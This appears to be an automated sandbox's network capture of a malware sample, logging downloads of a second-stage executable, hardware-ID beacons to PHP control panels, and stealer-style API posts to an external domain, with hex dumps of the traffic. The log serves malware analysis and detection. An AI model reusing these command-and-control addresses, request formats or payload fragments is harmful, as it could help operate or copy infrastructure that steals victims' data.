Dec 26, 2024 12:52:10.061176062 CET	1236	IN	Data Raw: 5a 30 57 93 fd 6a c3 4f 07 fc c4 4f 07 b7 3e f8 e3 08 8c 1c bc b7 3e 24 e4 00 8c 1c bc b7 3e 10 e4 18 8c 1c bc b7 7e 35 9c 24 80 1c 08 63 0b 44 42 73 88 95 7d 38 40 34 9c 1f 80 1c 45 32 fd 5b 4f 3a 0b 0f 41 f9 6c 14 6d 60 f7 28 90 a1 63 1c 43 73 Data Ascii: Z0WjOO>>$>~5$cDBs}8@4E2[O:Alm`(cCs}$@4ErD<TO8Q%Z0>{)0G$Alm`(cCs}@4ErDV>O8O%Z0VvOe0<H0Sn$0l+3x0sBE~1k*0
Dec 26, 2024 12:52:10.061187029 CET	1236	IN	Data Raw: 6b cb 8d a0 2b 4f 80 93 70 1c 05 c0 89 31 0b 57 e3 44 86 1c bc b7 f0 98 cd 44 95 99 f2 44 99 9b 58 14 80 c8 aa 5f 4e 3f b0 04 11 bb bb b7 3d f8 6b 62 f7 28 38 a0 63 1c 43 75 38 99 fb 44 7d 34 90 3b 80 1c 43 f3 e8 fd c5 30 80 93 d3 b9 75 84 40 cb Data Ascii: k+Op1WDDDX_N?=kb(8cCu8D}4;C0u@lAlnc(cC)000'030>lc(cC#>P;W=0=Xh!{0>iP+O;}0g-CI@P?@$0l~6(n
Dec 26, 2024 12:52:10.061203003 CET	1236	IN	Data Raw: 7e 31 e8 6d c4 30 80 95 80 ec fd 5b 4f 3c 68 28 ec 6e 80 ec d6 25 ac ad 5a 30 21 4c 44 4f 80 ec 44 75 f8 3e b0 9c 07 bb bb bd ac 17 49 72 81 34 3c 39 80 1c 43 e8 09 a1 93 cb f7 3e 40 e7 6c 1e 43 75 d4 98 fb 44 8f 93 58 c8 fd 3e 4f 20 50 eb d6 25 Data Ascii: ~1m0[O<h(n%Z0!LDODu>Ir4<9C>@lCuDX>O P%Z0O%Z0ho?Is4\|9C'_N?XT!{0N?m0d@lBu$DX(`S?=$l_(8cdlpFO20L@l$Al(kb(cdl
Dec 26, 2024 12:52:10.061316967 CET	1236	IN	Data Raw: bc 30 0b 57 e3 f8 7d 1c bc ff bf 33 fc 35 80 1c 8b f0 e8 81 c0 30 80 93 80 38 e8 89 c0 30 80 93 80 28 e8 71 c0 30 80 93 80 14 e8 79 c0 30 80 93 40 80 80 1c bc d8 0f 19 bc 30 0b d9 57 d8 07 19 bc 30 0b d9 4b d8 ff 18 bc 30 0b d9 5f d8 77 19 bc 30 Data Ascii: 0W}35080(q0y0@0W0K0_w0so0g0{_0W0WrOOe0:jn0>p$/08P0>>,l>;?\|0AlCz\|Dk-O}0~8@4/E3[O;
Dec 26, 2024 12:52:10.061347961 CET	1236	IN	Data Raw: 45 78 84 df 75 67 0b 39 78 ef c4 4f 07 b7 8d 5c 2c 4f 80 99 e9 45 b5 82 33 b8 43 1c 8b f9 09 29 fc a1 63 1c ff 35 18 94 7a 30 81 1c bc 30 bf 18 38 b8 43 1c bc 2e 80 1c ff 35 20 94 7a 30 80 1c bc 30 bf 18 20 b8 43 1c bc 30 80 1c 45 3d bc ac 5a 30 Data Ascii: Exug9xO\,OE3C)c5z008C.5 z00 C0E=Z0C=Z0\0l0Al);AY3DP5M8TPTP/\bP10JUfJB;/L4HCak8BEqW1Z0jO
Dec 26, 2024 12:52:10.180876017 CET	1236	IN	Data Raw: 62 32 68 84 9c 6f 80 b4 fb 11 43 1c 1b 60 09 bb bb d8 63 20 bc 30 6a 17 64 f8 a1 db bb 58 d0 fc 7a 30 23 dc 48 4f 80 34 88 2c 80 1c 62 33 68 64 9c 6f 80 b4 db 11 43 1c 1b 2c 06 bb bb d8 af 20 bc 30 03 58 83 56 8b b4 e3 11 43 1c 64 c4 a1 db bb 8f Data Ascii: b2hoC`c 0jdXz0#HO4,b3hdoC, 0XVCdZ00<#HO[OOOOOOOOObj&d0Xz0]0Xz0Fc,Z0cV{CdttZ0q0c$Xly0#GO40'nXly0h(n{c

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.6	49863	185.215.113.16	80	3224	C:\Users\user\Desktop\ZBbOXn0a3R.exe

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2024 12:52:20.020067930 CET	204	OUT	GET /mine/random.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.16
Dec 26, 2024 12:52:21.443260908 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 26 Dec 2024 11:52:20 GMT Content-Type: application/octet-stream Content-Length: 3243008 Last-Modified: Thu, 26 Dec 2024 11:21:41 GMT Connection: keep-alive ETag: "676d3c45-317c00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 9a 01 00 00 00 00 00 00 80 31 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$-ICCC@CFBC6GC6@C6FCGCBCB5CxJCxCxACRichCPELVf1@11@WkPl1l1 @.rsrc@.idata @bwzzahtg**@rhjmaeagp1V1@.taggant01"Z1@
Dec 26, 2024 12:52:21.443381071 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 26, 2024 12:52:21.443396091 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 26, 2024 12:52:21.443553925 CET	672	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 26, 2024 12:52:21.443566084 CET	1236	IN	Data Raw: 49 65 38 26 d1 fd af 89 52 fe a7 ad 4f 49 d5 31 49 63 88 bc 2c 7b 69 64 55 b9 74 9a 8c e5 17 d4 8d fd 2f 94 4f c1 a8 3c 80 3f a6 64 b5 3c d5 31 49 63 88 bc 10 7b 69 64 55 d1 76 9a 8c e5 37 d4 8d fd 2f f4 4f c1 a8 3c a0 42 a6 64 b5 3c d5 31 49 63 Data Ascii: Ie8&ROI1Ic,{idUt/O<?d<1Ic{idUv7/O<Bd<1Icd{idUvW/TP<@Bd<1Ic\{idUqqw/P<`Bd<1Ic@{idUv/Q<Bd<1Ic{idUas/tQ< Bd<1Ic'~idUIw/Q<Bd<1Ic
Dec 26, 2024 12:52:21.443578005 CET	1236	IN	Data Raw: 10 82 69 64 55 61 75 9a 8c e5 d7 c0 8d fd 2f d4 3d c1 a8 3c c0 3e a6 64 b5 3c d5 31 49 63 ac bc 08 82 69 64 55 f5 79 9a 8c e5 f7 c0 8d fd 2f 34 3e c1 a8 3c e0 3e a6 64 b5 3c d5 31 49 63 ac bc 00 82 69 64 55 e1 76 9a 8c e5 17 bf 8d fd 2f 94 3e c1 Data Ascii: idUau/=<>d<1IcidUy/4><>d<1IcidUv/><>d<1IcidU!o7/><=d<1IcpidUQoW/T?<@=d<1IcLidUow/?<`=d<1Ic<idUt/@<=d<1IcidUyr/t@
Dec 26, 2024 12:52:21.443588972 CET	1236	IN	Data Raw: 00 39 a6 64 b5 3c d5 31 49 63 ac bc 10 80 69 64 55 d9 71 9a 8c e5 b7 bb 8d fd 2f 74 ac c1 a8 3c 20 39 a6 64 b5 3c d5 31 49 63 80 bc 08 80 69 64 55 69 77 9a 8c e5 d7 bb 8d fd 2f d4 ac c1 a8 3c c0 39 a6 64 b5 3c d5 31 49 63 98 bc 64 80 69 64 55 31 Data Ascii: 9d<1IcidUq/t< 9d<1IcidUiw/<9d<1IcdidU1u/4<9d<1IcXidUYs/<9d<1IcDidUqx7/<4d<1Ic@idU\|W/T<@4d<1IcidUsw/<`4d<1IcidU}y
Dec 26, 2024 12:52:21.443599939 CET	1236	IN	Data Raw: 8c e5 77 c6 8d fd 2f b4 aa c1 a8 3c 60 30 a6 64 b5 3c d5 31 49 63 ac bc a8 84 69 64 55 69 76 9a 8c e5 97 c6 8d fd 2f 14 ab c1 a8 3c 00 30 a6 64 b5 3c d5 31 49 63 80 bc a0 84 69 64 55 81 76 9a 8c e5 b7 c6 8d fd 2f 74 ab c1 a8 3c 20 30 a6 64 b5 3c Data Ascii: w/<`0d<1IcidUiv/<0d<1IcidUv/t< 0d<1Ic\|idU!\|/<0d<1IcidUq/4<0d<1IcidUu/<0d<1IcidUt7/</d<1Ic,idU!yW/T<@/d<
Dec 26, 2024 12:52:21.443734884 CET	1236	IN	Data Raw: 49 8a 65 68 53 fe 1b 59 d1 fd 57 3c 70 12 a7 64 b5 3c d5 31 49 49 d5 31 49 49 d5 31 49 49 d5 31 49 84 4d 68 54 b9 25 99 8c 82 cd 74 d1 3e ec 31 49 d2 13 40 c3 84 b5 f2 d2 01 eb 5b 00 02 6d 64 bc e5 31 69 8f fd 26 28 91 ef 69 5c 8d 71 93 be 88 cf Data Ascii: IehSYW<pd<1II1II1II1IMhT%t>1I@[md1i&(i\q_PY[$>KsBXf ldOI1II1IFOI1II1I@9\Z<dARA&1II1I@9\2[ehP1II1II1II1I@'0lmd
Dec 26, 2024 12:52:21.443746090 CET	1236	IN	Data Raw: 8c fd a7 b4 09 c2 cc 1b d2 45 a9 b4 05 ca cc 1b d2 e5 a5 3c 31 0d a7 64 07 d2 f4 e8 50 05 eb 5c 0c ff 6c 64 0f f3 98 d6 e4 84 51 ec ce 84 e5 e6 96 fd 97 64 8c 6b 98 df c5 f9 2b 26 f0 a4 e5 e8 4c f9 2b 4c ec 70 6b b6 bd e5 c6 12 8e fd 26 28 85 84 Data Ascii: E<1dP\ldQdk+&L+Lpk&(S\@S`SZ\|QX1d= dAq II1II1II1I@[mdqt&(i\qiPY@'0md+@yxQad
Dec 26, 2024 12:52:21.563225985 CET	1236	IN	Data Raw: 8c 8a 69 3c 53 c2 c7 65 8b d0 e8 b5 32 08 97 99 a4 e5 a5 dc 8d fd 26 28 91 40 6a 50 8d fd a7 64 09 c2 b0 de d1 dd 11 99 3b 86 69 48 0a c2 c8 b5 24 dd 1b a5 8c 65 9c da d2 fd af ee fd fe a7 e7 50 09 2d 24 0a c2 b0 b5 20 9f b0 d6 04 fe a7 05 ed 7f Data Ascii: i<Se2&(@jPd;iH$eP-$ jdALd=dA'e\|Y=:Yhe\|]H=rdII1I+2%Rc<1II1II1I'II1I@e~qdPYI1II

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.6	49873	185.215.113.206	80	6556	C:\Users\user\AppData\Local\Temp\VJV6IQUTCE3IBMH3UJROT.exe

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2024 12:52:24.343626022 CET	90	OUT	GET / HTTP/1.1 Host: 185.215.113.206 Connection: Keep-Alive Cache-Control: no-cache
Dec 26, 2024 12:52:25.765883923 CET	203	IN	HTTP/1.1 200 OK Date: Thu, 26 Dec 2024 11:52:25 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Dec 26, 2024 12:52:25.772437096 CET	413	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----GHDBKJKJKKJDGDGDGIDG Host: 185.215.113.206 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 47 48 44 42 4b 4a 4b 4a 4b 4b 4a 44 47 44 47 44 47 49 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 37 44 32 43 38 37 31 33 37 31 38 30 31 31 32 38 30 35 36 36 34 38 0d 0a 2d 2d 2d 2d 2d 2d 47 48 44 42 4b 4a 4b 4a 4b 4b 4a 44 47 44 47 44 47 49 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 73 74 6f 6b 0d 0a 2d 2d 2d 2d 2d 2d 47 48 44 42 4b 4a 4b 4a 4b 4b 4a 44 47 44 47 44 47 49 44 47 2d 2d 0d 0a Data Ascii: ------GHDBKJKJKKJDGDGDGIDGContent-Disposition: form-data; name="hwid"7D2C871371801128056648------GHDBKJKJKKJDGDGDGIDGContent-Disposition: form-data; name="build"stok------GHDBKJKJKKJDGDGDGIDG--
Dec 26, 2024 12:52:26.232403040 CET	210	IN	HTTP/1.1 200 OK Date: Thu, 26 Dec 2024 11:52:26 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.6	49953	185.215.113.43	80	6316	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2024 12:53:05.594115019 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 26, 2024 12:53:07.053714037 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 26 Dec 2024 11:53:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.6	49961	185.215.113.43	80	6316	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2024 12:53:08.726962090 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 31 32 43 37 39 42 39 35 38 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB12C79B95882D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Dec 26, 2024 12:53:10.187016964 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 26 Dec 2024 11:53:09 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 38 31 0d 0a 20 3c 63 3e 31 30 32 33 33 30 30 30 30 31 2b 2b 2b 62 35 39 33 37 63 31 61 39 39 64 35 66 39 64 66 30 62 35 64 61 66 63 38 35 30 36 32 33 38 34 37 36 30 61 63 30 32 62 34 64 65 64 38 61 62 65 65 65 31 66 62 63 36 37 65 38 30 35 35 34 35 62 30 31 63 66 36 34 64 34 61 34 38 35 61 39 35 39 32 65 31 30 30 62 37 23 31 30 32 33 33 30 31 30 30 31 2b 2b 2b 62 35 39 33 37 63 31 61 39 39 64 35 66 39 64 66 30 62 35 64 61 66 63 38 35 30 36 32 33 38 34 37 36 30 61 63 30 32 62 34 64 65 64 38 61 62 65 65 65 31 66 62 63 61 37 31 39 35 34 34 34 30 62 31 35 66 65 35 34 62 35 31 35 36 35 61 64 37 63 65 65 35 31 36 62 36 61 32 64 39 31 65 32 62 66 62 37 61 23 31 30 32 33 33 30 32 30 30 31 2b 2b 2b 62 35 39 33 37 63 31 61 39 39 64 35 66 39 64 66 30 62 35 64 61 66 63 38 35 30 36 32 33 38 34 37 36 30 61 63 30 32 62 34 64 65 64 38 61 62 65 65 65 31 66 62 64 66 37 65 39 62 34 32 34 39 62 32 31 63 66 36 34 64 34 61 34 38 35 61 39 35 39 32 65 31 30 30 62 37 23 31 30 32 33 33 30 33 30 30 31 2b 2b 2b 62 35 39 33 [TRUNCATED] Data Ascii: 481 <c>1023300001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fbc67e805545b01cf64d4a485a9592e100b7#1023301001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fbca71954440b15fe54b51565ad7cee516b6a2d91e2bfb7a#1023302001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fbdf7e9b4249b21cf64d4a485a9592e100b7#1023303001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fbc46a864d43b158fe4d484543d7cee516b6a2d91e2bfb7a#1023304001+++b5937c1ad0c0f9c35d1aef910b32221021f01cefd1d4a9eff3e08472875245bd52e803564d42d7cee11ea1e2dc552fe76c6fed089ed13ad461be35af6fef555472bb3174#1023305001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8e7e7b9ca30804042ba5ce902415450#1023306001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8f8e6b1ca72dd534db057eb410a494d9d#1023307001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8fcf7b8c730804042ba5ce902415450#1023308001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8e4f4b2846d934f48b15eaa495c49#1023309001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fbc96a [TRUNCATED]
Dec 26, 2024 12:53:10.187355042 CET	108	IN	Data Raw: 2b 62 35 39 33 37 63 31 61 39 39 64 35 66 39 64 66 30 62 35 64 61 66 63 38 35 30 36 32 33 38 34 37 36 30 61 63 30 32 62 34 64 65 64 38 61 62 65 65 65 31 66 62 39 64 32 61 63 61 31 37 31 38 65 61 30 31 62 35 31 66 31 30 30 33 37 39 38 31 63 38 65 Data Ascii: +b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fb9d2aca1718ea01b51f10037981c8ef3b84a59a5536e6#<d>0

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.6	49708	172.67.165.185	443	3224	C:\Users\user\Desktop\ZBbOXn0a3R.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-26 11:51:07 UTC	262	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: mindhandru.buzz
2024-12-26 11:51:07 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-12-26 11:51:36 UTC	1125	IN	HTTP/1.1 200 OK Date: Thu, 26 Dec 2024 11:51:36 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=tpi8unuflthiq2qsuf500p3fc4; expires=Mon, 21 Apr 2025 05:38:15 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=LR%2FoT2U4I1nJpm2KeC0znJ2Y5FAps2Mxbn0RDm7bab1u9KtaVtbH6HM5pGy3kvcz8J4ovd17WjjTotCvasxedrkGc9nhe%2F5iItIkNmTbm%2B7dtOrQH9lE898UQoQwuMnu7zU%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f80db73bb385e76-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1787&min_rtt=1746&rtt_var=738&sent=6&recv=7&lost=0&retrans=0&sent_bytes=2837&recv_bytes=906&delivery_rate=1403171&cwnd=209&unsent_bytes=0&cid=77459eb4b42fe47e&ts=28478&x=0"
2024-12-26 11:51:36 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-12-26 11:51:36 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.6	49763	172.67.165.185	443	3224	C:\Users\user\Desktop\ZBbOXn0a3R.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-26 11:51:37 UTC	263	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 47 Host: mindhandru.buzz
2024-12-26 11:51:37 UTC	47	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 50 73 46 4b 44 67 2d 2d 70 61 62 6c 6f 26 6a 3d Data Ascii: act=recive_message&ver=4.0&lid=PsFKDg--pablo&j=
2024-12-26 11:51:38 UTC	1125	IN	HTTP/1.1 200 OK Date: Thu, 26 Dec 2024 11:51:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=neacfegk7giakjtgui8p63439j; expires=Mon, 21 Apr 2025 05:38:17 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=cGPkf1IvaqOLZZeBHEeH0ZCzEgeufpednJYuHMhtprxTiqM3EoBcymutt%2Bo5NDYF32zLcEo7uR%2BTg%2BYGd%2FxLZvzBtg97ODDvSJxfKh4xnWmD1EdTPrXWsHifj3ZxZaTo1c4%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f80dc2dd8ff43f8-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1592&min_rtt=1589&rtt_var=603&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2837&recv_bytes=946&delivery_rate=1805813&cwnd=217&unsent_bytes=0&cid=481dcea927f49c98&ts=801&x=0"
2024-12-26 11:51:38 UTC	244	IN	Data Raw: 34 36 63 0d 0a 37 67 34 35 32 42 48 51 30 78 4c 48 78 41 74 70 33 66 6b 6b 62 59 4c 69 45 70 63 38 54 6e 67 47 36 78 73 6a 77 58 6f 57 30 76 57 56 4c 45 2f 36 4b 2b 54 2f 4d 4c 53 68 4b 56 4f 70 69 31 45 49 72 73 42 7a 38 78 35 30 48 6d 65 48 61 45 62 74 57 47 43 2f 31 39 52 6f 57 4c 52 69 74 66 38 77 6f 72 77 70 55 34 61 43 42 67 6a 73 77 43 69 31 57 53 51 61 5a 34 64 35 51 71 6f 56 5a 72 36 57 68 6d 4a 65 73 48 53 7a 74 33 4f 72 71 57 34 4d 75 4a 68 4f 41 2b 75 50 65 76 6f 65 59 6c 70 6a 6b 54 6b 5a 34 7a 64 7a 70 70 53 6a 62 30 71 7a 4d 36 33 2f 61 65 57 68 5a 55 76 6e 32 30 55 49 34 49 35 30 38 31 63 6d 45 47 36 50 65 45 65 72 43 6e 2b 30 6e 59 5a 73 58 62 46 2b 75 71 4e 2b 6f 61 35 6c 43 72 4b 59 42 6b 47 67 68 32 69 Data Ascii: 46c7g452BHQ0xLHxAtp3fkkbYLiEpc8TngG6xsjwXoW0vWVLE/6K+T/MLShKVOpi1EIrsBz8x50HmeHaEbtWGC/19RoWLRitf8worwpU4aCBgjswCi1WSQaZ4d5QqoVZr6WhmJesHSzt3OrqW4MuJhOA+uPevoeYlpjkTkZ4zdzppSjb0qzM63/aeWhZUvn20UI4I5081cmEG6PeEerCn+0nYZsXbF+uqN+oa5lCrKYBkGgh2i
2024-12-26 11:51:38 UTC	895	IN	Data Raw: 31 42 6d 78 4a 56 6f 70 6f 55 4c 59 56 5a 4c 62 58 6b 79 4a 43 2b 6e 53 2b 38 53 6a 6c 72 6d 55 46 75 70 68 4a 43 4f 47 41 59 76 70 65 4c 78 4a 73 6a 58 4e 4f 72 42 64 36 75 70 43 45 5a 56 79 31 64 4c 71 33 66 36 62 6d 4a 30 75 34 67 77 5a 58 6f 4b 42 67 39 6c 30 34 46 33 58 4a 5a 67 2b 36 57 48 4f 38 31 39 51 73 58 62 52 79 76 37 46 69 72 61 31 69 44 71 32 51 54 77 4c 74 67 48 33 2f 55 53 38 61 59 34 4e 7a 54 71 6b 63 65 62 32 52 6a 47 77 62 39 44 4f 31 71 54 44 39 35 6b 6f 4f 72 35 78 4b 47 61 4b 36 4d 4f 6f 51 4e 56 70 6a 68 54 6b 5a 34 78 42 78 73 35 53 48 59 31 69 79 65 4b 43 78 59 71 4f 72 62 42 6d 35 6e 6b 67 46 34 35 4a 36 2b 31 67 76 45 32 2b 41 66 45 61 6e 57 44 72 77 6b 4a 51 73 41 2f 70 53 76 37 70 38 72 37 46 70 53 36 44 56 58 30 2f 6e 6a 44 Data Ascii: 1BmxJVopoULYVZLbXkyJC+nS+8SjlrmUFuphJCOGAYvpeLxJsjXNOrBd6upCEZVy1dLq3f6bmJ0u4gwZXoKBg9l04F3XJZg+6WHO819QsXbRyv7Fira1iDq2QTwLtgH3/US8aY4NzTqkceb2RjGwb9DO1qTD95koOr5xKGaK6MOoQNVpjhTkZ4xBxs5SHY1iyeKCxYqOrbBm5nkgF45J6+1gvE2+AfEanWDrwkJQsA/pSv7p8r7FpS6DVX0/njD
